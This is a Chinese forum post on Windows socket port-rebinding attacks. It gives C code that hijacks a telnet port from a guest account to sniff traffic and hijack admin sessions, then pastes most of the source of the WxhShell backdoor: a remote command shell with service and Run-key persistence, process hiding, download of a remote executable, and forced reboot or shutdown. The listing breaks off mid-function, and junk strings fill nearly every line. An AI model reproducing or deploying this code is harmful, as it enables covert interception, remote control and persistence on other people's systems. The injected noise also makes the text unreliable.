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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (i1q".  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x@p1(V.  
aA6m5  
  saddr.sin_family = AF_INET; >53Hqzm&  
(g*mC7 HN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y0R9[ ;b07  
* YR>u @  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gj@>9  
Bo4MoSF}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N hY`_?)  
GzN /0:b  
  这意味着什么?意味着可以进行如下的攻击: sqv!,@*q  
'}N4SrU$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oG$OZTc  
>4^,[IO/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $ dR@Q?_{  
INRP@Cp1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PiVp(; rtQ  
KKRj#m(:!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7%sx["%@  
)F\^-laMuK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  oB8LJZ;  
ml1My1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mD_sf_2>  
"Q.KBX v/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n|'}W+  
CxV$_J  
  #include wZsjbNf`K  
  #include ZWb\^N  
  #include <ht^Ck  
  #include    K&{ruHoKB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S] R.:T_%  
  int main() E5X#9;U8E"  
  { !<UdG+iV  
  WORD wVersionRequested; hcT5>w[  
  DWORD ret; ?~9o2[  
  WSADATA wsaData; f~R`RBZ]9  
  BOOL val; [NU@A>H  
  SOCKADDR_IN saddr; c?%}J\<n  
  SOCKADDR_IN scaddr; nj <nW5[  
  int err; G Tz>}@W  
  SOCKET s; mcb|N_#n/  
  SOCKET sc; m4@Lml+B,  
  int caddsize; ^fEer  
  HANDLE mt; y;VmA#k`  
  DWORD tid;   !E~czC\p6  
  wVersionRequested = MAKEWORD( 2, 2 ); K9_@[}Ge  
  err = WSAStartup( wVersionRequested, &wsaData ); lhBu?q  
  if ( err != 0 ) { 3| F\a|N  
  printf("error!WSAStartup failed!\n"); P_F0lO  
  return -1; R/\qDY,@  
  } ;8Ts  
  saddr.sin_family = AF_INET; Ewa/6=]LA  
   &`2$,zX#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c9ea%7o{0a  
Vif)e4{Pn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~93#L_V_O  
  saddr.sin_port = htons(23); I~&*8)xM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n%d7`?tm4  
  { +EvY-mwfQ  
  printf("error!socket failed!\n"); KN:V:8:J  
  return -1; m+EtB6r  
  } Kwo0%2Onkd  
  val = TRUE; &9 khIJI n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D9r4oRkP*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >l=;6QL  
  { *lBX/O`=  
  printf("error!setsockopt failed!\n"); l}XnCOIT,  
  return -1; %g7B*AX]  
  } |o#pd\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;6q`c !p7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -cB>; f)5r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]owcx=5q%'  
~kOXMLRg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $|o[l.q2  
  { S.*.nv  
  ret=GetLastError(); 4<S=KFT_  
  printf("error!bind failed!\n"); .GiQC {@9w  
  return -1; |HQFqa <  
  } nyx(0  
  listen(s,2); Tilw.z  
  while(1) yhxZ^ (I  
  { [-hsG E  
  caddsize = sizeof(scaddr); @ 5V3I^  
  //接受连接请求 ;edt["Eu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^o[(F<q  
  if(sc!=INVALID_SOCKET) L[. )!c8k  
  { psAr>:\3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _YA;Nd#%k  
  if(mt==NULL) B i`m+ob  
  { v4W<_ 7L_  
  printf("Thread Creat Failed!\n"); MNH-SQB|  
  break; n=%D}W  
  } 7D=gAMPvJ  
  } nzl3<Ar  
  CloseHandle(mt); :Y[?@/m4  
  } {TC_ 4Y|8  
  closesocket(s); hEfFMi=a`  
  WSACleanup(); Z#flu Q%V  
  return 0; ngl8) B  
  }   ?dQ#%06mn  
  DWORD WINAPI ClientThread(LPVOID lpParam) )'e9(4[V1  
  { wQrD(Dv(yA  
  SOCKET ss = (SOCKET)lpParam; wiM-TFT~  
  SOCKET sc; 7DB!s@"  
  unsigned char buf[4096]; Yzih-$g  
  SOCKADDR_IN saddr; VRvX^w0  
  long num; vve[.Lud'  
  DWORD val; f= 33+8I  
  DWORD ret;  m8z414o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m$A-'*'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C''[[sw'K  
  saddr.sin_family = AF_INET; &h?8yV4B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Dlx-mm_  
  saddr.sin_port = htons(23); ^e:rRk7 &  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M%N_4j.  
  { "/zDcZbL;  
  printf("error!socket failed!\n"); Kc {~Q  
  return -1; 4 moVS1  
  } e%v0EJ},  
  val = 100; FS6I?q#tQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |&\cr\T\r  
  { l1D"*J 2`  
  ret = GetLastError(); DTM xfQdk  
  return -1; J85Kgd1 \a  
  } F1b~S;lm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !K/zFYl  
  { z1~FE  
  ret = GetLastError();  F!&_  
  return -1; h2mU  
  } m95;NT1N/g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y3NMt6  
  { W=?s-*F[~  
  printf("error!socket connect failed!\n"); <dX7{="&  
  closesocket(sc); ZO!)G   
  closesocket(ss); RiCzH  
  return -1; '-KrneZ!  
  } KGsW*G4U=  
  while(1) (#VF>;;L  
  { \t+q1S1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OojQG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?G$X 4KY6`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qh~S)^zFJ  
  num = recv(ss,buf,4096,0); \&1Di\eL  
  if(num>0) h&6t.2<e  
  send(sc,buf,num,0); te8lF{R  
  else if(num==0) GeCyq%dN  
  break; 2F fwct:  
  num = recv(sc,buf,4096,0); 2:D1<z6RQ  
  if(num>0) Odj4)   
  send(ss,buf,num,0); 7d'gG[Z^^  
  else if(num==0) 4XsKOv  
  break; cb9q0sdf  
  } "\u_gk{g  
  closesocket(ss); <aEY=IF4  
  closesocket(sc); `Pe WV[?  
  return 0 ; SPU_@ Pk  
  } H:&|q+K=#  
X4}Lg2ts  
,T3_*:0hk!  
========================================================== vW:XM0  
.j_YVYu1&  
下边附上一个代码,,WXhSHELL 97n@HL1  
YJEL'k<l  
========================================================== #.z`clK#  
^9PB+mz  
#include "stdafx.h" 7Yrp#u1!  
sVJwe\!  
#include <stdio.h> %knPeo&  
#include <string.h> "vnWq=E 2  
#include <windows.h> -Y"'=zkO  
#include <winsock2.h> WSPlM"h  
#include <winsvc.h> zIjUfgO/M  
#include <urlmon.h> -U/m  
'aoHNZfxw  
#pragma comment (lib, "Ws2_32.lib") s=xJcLA  
#pragma comment (lib, "urlmon.lib") ntT~_Ba8;u  
y $K#M  
#define MAX_USER   100 // 最大客户端连接数 7JI&tlR4\c  
#define BUF_SOCK   200 // sock buffer 8=h$6=1S  
#define KEY_BUFF   255 // 输入 buffer Pxn;]!Z #  
`]xot8  
#define REBOOT     0   // 重启 LVj62&,-  
#define SHUTDOWN   1   // 关机  EL[N%M3  
^,.G<2Kx&  
#define DEF_PORT   5000 // 监听端口 z a^s%^:yK  
]8i2'x  
#define REG_LEN     16   // 注册表键长度 4vk^=  
#define SVC_LEN     80   // NT服务名长度 =_/,C  
ja2PmPv  
// 从dll定义API 8v)PDO~D}A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Y3 *\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &E>zvRBQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LFx*_3a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *?#t (Y[  
'0!IF&p'  
// wxhshell配置信息 = yH#Iil  
struct WSCFG { - :0{  
  int ws_port;         // 监听端口 \5wC&|WEB  
  char ws_passstr[REG_LEN]; // 口令 .7HnWKUV  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z~-A*{u?  
  char ws_regname[REG_LEN]; // 注册表键名  /_r g*y*  
  char ws_svcname[REG_LEN]; // 服务名 W*xz 0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +r+H`cT@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 btC.EmX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -k19BDJ,W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `2Buf8|a,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I<I?ks  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o >=YoG  
K_J o^BZ  
}; Hset(-=X  
,'CDKzY  
// default Wxhshell configuration 6c3+q+#J2  
struct WSCFG wscfg={DEF_PORT, eKL)jzC:  
    "xuhuanlingzhe", Z' 0Gd@/  
    1, h<wF;g,  
    "Wxhshell", "/).:9],}  
    "Wxhshell", 2 AZ[gr@c  
            "WxhShell Service", Sdc;jK 9d!  
    "Wrsky Windows CmdShell Service", 1R/=as,R  
    "Please Input Your Password: ", \jdpL1  
  1, '\:?FQ C  
  "http://www.wrsky.com/wxhshell.exe", 4"e7 43(  
  "Wxhshell.exe" ,/\%-u? 1x  
    }; c7jft|4S  
Z\E3i  
// 消息定义模块 ?o h3t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ChLU(IPo6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V(3udB@K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ku*|?uF  
char *msg_ws_ext="\n\rExit."; C!SB5G>OH  
char *msg_ws_end="\n\rQuit."; .cA[b  
char *msg_ws_boot="\n\rReboot..."; q_8qowu"  
char *msg_ws_poff="\n\rShutdown..."; " [=Ee[/  
char *msg_ws_down="\n\rSave to "; 39 JLi~j,  
#gOITXKs  
char *msg_ws_err="\n\rErr!"; 0\AYUa?RM  
char *msg_ws_ok="\n\rOK!"; B@]( ,  
L4aT=of-  
char ExeFile[MAX_PATH]; {y|y68y0+  
int nUser = 0; S ~lw5  
HANDLE handles[MAX_USER]; uU`zbh}]L.  
int OsIsNt; Mi\f?  
S8" h9|  
SERVICE_STATUS       serviceStatus; SZ-%0z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J4te!,  
8zz-jk R  
// 函数声明 0Bn$C, -  
int Install(void); f#414ja  
int Uninstall(void); `S Wf)1K  
int DownloadFile(char *sURL, SOCKET wsh); K}O~tff  
int Boot(int flag); &hs)}uM&$  
void HideProc(void); knypSgk_  
int GetOsVer(void); +v&+8S`+  
int Wxhshell(SOCKET wsl); 8T 6jM+ h  
void TalkWithClient(void *cs); &%J{C3Q9  
int CmdShell(SOCKET sock); E/_=0t  
int StartFromService(void); 2:i`,  
int StartWxhshell(LPSTR lpCmdLine); $,icKa   
b/]C, P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LL-MZ~ZB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /NLpk7r[\q  
jKQnox+=  
// 数据结构和表定义 :4Sj2  
SERVICE_TABLE_ENTRY DispatchTable[] = Kd;|Z  
{ 4|Jy]  
{wscfg.ws_svcname, NTServiceMain}, bQ0m=BzF  
{NULL, NULL} b#k$/A@  
}; L<QqQ"`  
 2c!?!:s  
// 自我安装 nb22b Xt  
int Install(void) o?^j1\^  
{ =5^L_, 4c2  
  char svExeFile[MAX_PATH]; KWy4}7a@,s  
  HKEY key; RhbYDsG  
  strcpy(svExeFile,ExeFile); ctdV4%^{  
*8js{G0h  
// 如果是win9x系统,修改注册表设为自启动 fVo)# Bj  
if(!OsIsNt) { 5H==m~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q(!191@C(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dB_\0?jJ-  
  RegCloseKey(key); ]O7I7K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <8r%_ ']  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2}I1z_dq~  
  RegCloseKey(key); C/_W>H_   
  return 0; h{J2CWJ  
    } "z< =S  
  } OMO.-p  
} u Dm=W36  
else { &bs/a] ?Z7  
?K I_>{  
// 如果是NT以上系统,安装为系统服务 6/s#'#jh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R S;r  
if (schSCManager!=0) .\{GU9|nO  
{ hXbb+j  
  SC_HANDLE schService = CreateService N$>g)Ml?  
  ( vlm&)DIt  
  schSCManager, "-A@>*g  
  wscfg.ws_svcname, RjSVa.x  
  wscfg.ws_svcdisp, #<4h Y7/  
  SERVICE_ALL_ACCESS, *Yl9%x]3c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "J%u !~  
  SERVICE_AUTO_START, <d$|~qS_  
  SERVICE_ERROR_NORMAL,  U`IDZ{g  
  svExeFile, GvF~h0wMt  
  NULL, &`pd&U{S*  
  NULL, ?o),F^ir  
  NULL, 0j7\.aaK  
  NULL, 5sFp+_``  
  NULL %@kmuz??  
  ); #s)6u?N  
  if (schService!=0) kVy%y"/  
  { @aY 8VL7C0  
  CloseServiceHandle(schService); g G~UsA  
  CloseServiceHandle(schSCManager); t~Cul+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qL,!  
  strcat(svExeFile,wscfg.ws_svcname); f77Jn^Dt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :=T+sT~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &JtK<g  
  RegCloseKey(key); -+#\WB{AI  
  return 0; 29 Yg>R!/  
    } ^yu0Veypy  
  } >q[(UV  
  CloseServiceHandle(schSCManager); HPg@yx"U  
} xQ^zX7  
} R4]t D|  
qOV#$dkY  
return 1; 2u*o/L+  
} hcWkAR  
f,k'gM{K  
// 自我卸载 t(/e~w  
int Uninstall(void) r|{h7'  
{ b{b2L.  
  HKEY key; pD eqBO  
S c_*L<$  
if(!OsIsNt) { C*,-lk0b@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .`)\GjDv  
  RegDeleteValue(key,wscfg.ws_regname); Zq}w}v  
  RegCloseKey(key); UMma|9l(i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FL,jlE_  
  RegDeleteValue(key,wscfg.ws_regname); C;1A$]bk  
  RegCloseKey(key); B-@6m  
  return 0; m$ NBGw  
  } Yo/U/dB  
} D}>pl8ke~g  
} M$B9?N6  
else { C5CUMYU  
JN .\{ Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TUw^KSa  
if (schSCManager!=0) aEo!yea  
{ r`qMif'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w9rwuk  
  if (schService!=0) Kyt.[" p  
  { 1XSA3;ZEc  
  if(DeleteService(schService)!=0) { <Bn^+u\  
  CloseServiceHandle(schService); : ^F+m QN  
  CloseServiceHandle(schSCManager); X,C&nqVFm8  
  return 0; 5|my}.TR  
  } J;W(}"cFq  
  CloseServiceHandle(schService); ?l! L )!2  
  } ig4wwd@|  
  CloseServiceHandle(schSCManager); %0fF_OU  
} `KqMcAW  
} Dd-;;Y1C  
+FfT)8@W  
return 1; \_Nr7sc\  
} peCmb)>Sa  
\V  /s  
// 从指定url下载文件 p(QB5at  
int DownloadFile(char *sURL, SOCKET wsh) EgOAEv  
{ A[oLV"J6x5  
  HRESULT hr; W$B&asO  
char seps[]= "/"; *;"N kCf  
char *token; bY|%ois4  
char *file; #+N\u*-S  
char myURL[MAX_PATH]; R7;SZo  
char myFILE[MAX_PATH]; IfzHe8>  
veFl0ILd  
strcpy(myURL,sURL); Gtd!Y x  
  token=strtok(myURL,seps); zpV@{%VSj  
  while(token!=NULL) 9I0/KuZd O  
  { :y==O4  
    file=token; ]sjYxe  
  token=strtok(NULL,seps); ^m;dEe&@F  
  } dB+x,+%u+  
a/;u:"  
GetCurrentDirectory(MAX_PATH,myFILE); Y]/(R"-2G  
strcat(myFILE, "\\"); v_)a=I%o&2  
strcat(myFILE, file); IMIZ#/  
  send(wsh,myFILE,strlen(myFILE),0); SlB,?R2  
send(wsh,"...",3,0); R $HI JM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j/4N  
  if(hr==S_OK) )8kcOBG^L  
return 0; }YW0?-G.$  
else ,Dfq%~:grT  
return 1; gP"p7\ (  
)X@Obg  
} _QbLg"O  
C9E l {f  
// 系统电源模块 )A:2y +  
int Boot(int flag) 5 WSu  
{ /ZqBO*]  
  HANDLE hToken; zWoPa,  
  TOKEN_PRIVILEGES tkp; [_hHZMTH  
+(0Fab8g  
  if(OsIsNt) { 9r-]@6;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TC[_Ip&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lTJ1]7)  
    tkp.PrivilegeCount = 1; ePdM9%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ["- pylhK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sfNXIEr^  
if(flag==REBOOT) { AVVL]9b_2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A"x1MjuqLM  
  return 0; gvvl3`S{  
} zvf:*Na")  
else { lwYk`'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oEbgyT gB  
  return 0; |Ak>kQJ(1z  
} eZWN9#p2  
  } M[$(Pu  
  else { #c@Dn.W  
if(flag==REBOOT) { Z)EmX=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mt3j- Mw  
  return 0; La48M'u  
} }dw`[{cm  
else { Z m9 e|J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9PjL 4A  
  return 0; jLX{$,  
} WJ=DTON  
} &I: [ 'l!  
/tl/%:U*.  
return 1; 1RM;"b/  
} vA@Kb3 ,  
s:lar4>kM  
// win9x进程隐藏模块 ]2(vO0~  
void HideProc(void) e `zEsLs@  
{ 3dfG_a61y  
vzJ69%E_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .w/#S-at  
  if ( hKernel != NULL ) t1?e$s  
  { r7Bv?M^!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `)e;bLP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c[E{9wp v  
    FreeLibrary(hKernel); #&0)kr66  
  } Nv "R'Pps  
*vv <@+gA  
return; aSd$;t~  
} 1MHP#X;|  
m6^Ua  
// 获取操作系统版本 @*q WV*$h  
int GetOsVer(void) v'Ce|.;  
{ *F*c  
  OSVERSIONINFO winfo; D5fJuT-bp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W/ZmG]sZE  
  GetVersionEx(&winfo); #q`[(`Bx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9C}Ie$\  
  return 1; /:v+:-lU  
  else (-*NRY3*  
  return 0; Q:eIq<erY  
} H+vONg  
i$;GEM}tv  
// 客户端句柄模块 Y(GH/jw  
int Wxhshell(SOCKET wsl) yjs5=\@  
{ $'e;ScH  
  SOCKET wsh; rB;` &)-  
  struct sockaddr_in client; eO;i1>  
  DWORD myID; vF"<r,pg  
gP8Fe =]  
  while(nUser<MAX_USER) 0fA42*s;  
{ ]#R'hL%f  
  int nSize=sizeof(client); ?g| K"P<1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v{`Z  
  if(wsh==INVALID_SOCKET) return 1; K y~ 9's  
UgDai?b1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); & i"33.#]  
if(handles[nUser]==0) jm&?;~>O  
  closesocket(wsh); I2kqA5>)j  
else JbpKstc;  
  nUser++; -/|O*oZ  
  } 2A|^6#XN'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0i\ol9,bf  
"Pi\I9M3  
  return 0; bcL>S$B  
} rt$z&#M  
pq_DYG]  
// 关闭 socket ~K%]9  
void CloseIt(SOCKET wsh) KJWYG^zI  
{ 9+@"DuYc6  
closesocket(wsh); xal,j*  
nUser--; ov: h4  
ExitThread(0); b\NWDH7}  
} xb\(>7M6Y  
=o;QvOS;  
// 客户端请求句柄 -v?,{?$0  
void TalkWithClient(void *cs) &&$/>[0=.  
{ zrk/}b0j  
^4(CO[|c~  
  SOCKET wsh=(SOCKET)cs; 6i[\?7O'0  
  char pwd[SVC_LEN]; QT{$2 7;  
  char cmd[KEY_BUFF]; aGVzg$  
char chr[1]; "wL~E Si  
int i,j; A[J9v{bD  
0CS^S1/[B`  
  while (nUser < MAX_USER) { HVz-i{M  
x&sT )=#  
if(wscfg.ws_passstr) { MK9?81xd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fn$/ K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nge_ Ks  
  //ZeroMemory(pwd,KEY_BUFF); WI9'$hB\  
      i=0; )?~3fb6^  
  while(i<SVC_LEN) { @z"Zj 3ti  
^ L'8:  
  // 设置超时 Hb 'fEo r  
  fd_set FdRead; 9(lIz{  
  struct timeval TimeOut; lz\{ X  
  FD_ZERO(&FdRead); *cCr0\Z`  
  FD_SET(wsh,&FdRead); pC(AM=RY!  
  TimeOut.tv_sec=8; !OWVOq8  
  TimeOut.tv_usec=0; hKtOh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *E0+!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hR b k-b  
x={t}qDS8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Bw=2 ~  
  pwd=chr[0]; _Ptf^+  
  if(chr[0]==0xd || chr[0]==0xa) { fI`T3Y!7  
  pwd=0; GJWC}$#T Y  
  break; 8(ny^]v|  
  } RK(uC-l  
  i++; j>gO]*BX~  
    } T'i9_V{  
g3n^ <[E  
  // 如果是非法用户,关闭 socket q_HC68YF,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;hF>iw  
} B) &BqZ&  
0uzis09  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gJi11^PK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F`8A!|cIy  
RyD2LAf)J  
while(1) { G+4a%?JH  
0K>rc1dy  
  ZeroMemory(cmd,KEY_BUFF); `}k!SqG  
<kn#`w1U'  
      // 自动支持客户端 telnet标准   LW_ Y  
  j=0; WzgzI/  
  while(j<KEY_BUFF) { I /3=~;u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); efMv1>{  
  cmd[j]=chr[0]; @)&b..c?_  
  if(chr[0]==0xa || chr[0]==0xd) { o;FjpZ  
  cmd[j]=0; :eS7"EG{3  
  break; FePJ8  
  } n-,~Bp [  
  j++; ]@l~z0^|[_  
    } L6BHh_*E  
Q !5Tw  
  // 下载文件 NF0IF#;a  
  if(strstr(cmd,"http://")) { 7qon:]b4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U"-mLv"|  
  if(DownloadFile(cmd,wsh))  &N0W!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 25ul,t_Du  
  else <<(~'$~,L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ':[+UUC@  
  } [=e61Z  
  else { T1PWFw\GH  
aO "JT  
    switch(cmd[0]) { ec1snMY  
  R-`{W:S  
  // 帮助 $f>WR_F  
  case '?': { )U<4ul  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v7O{8K+  
    break; x0.&fCh%  
  } z-[Jbjhd  
  // 安装 {0QD-b o  
  case 'i': { M(Jf&h4b  
    if(Install()) wX#\\Jgi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U,iTURd  
    else #` z!f0 P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BxZ}YS:  
    break; 7`X"B*`~b  
    } F xFK  
  // 卸载 K!|=)G3.`  
  case 'r': { e hxtNjA  
    if(Uninstall()) Yc:b:\0}F6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A40 -])'!  
    else PG<N\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7bsW7;C  
    break; =6  
    } z&<Rx[  
  // 显示 wxhshell 所在路径 .%->   
  case 'p': { NXeo&+F  
    char svExeFile[MAX_PATH]; TM!R[-\  
    strcpy(svExeFile,"\n\r"); 5 F^,7A4I0  
      strcat(svExeFile,ExeFile); NWCnt,FlY  
        send(wsh,svExeFile,strlen(svExeFile),0); l[ @\!;|  
    break; iCAd7=o  
    } ih+kh7J-  
  // 重启 'U1r}.+b>  
  case 'b': { 6ap,XFRMh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q6j]j~JxB  
    if(Boot(REBOOT)) /unOZVr(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q2 rZMK  
    else { d /t'N-m  
    closesocket(wsh); GmAE!+"  
    ExitThread(0); apY m,_  
    } _rs#h)  
    break; TlBLG.-^  
    } /cI]Z^&  
  // 关机  k[vn:  
  case 'd': { aOYd "S}u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  }O1F.5I1  
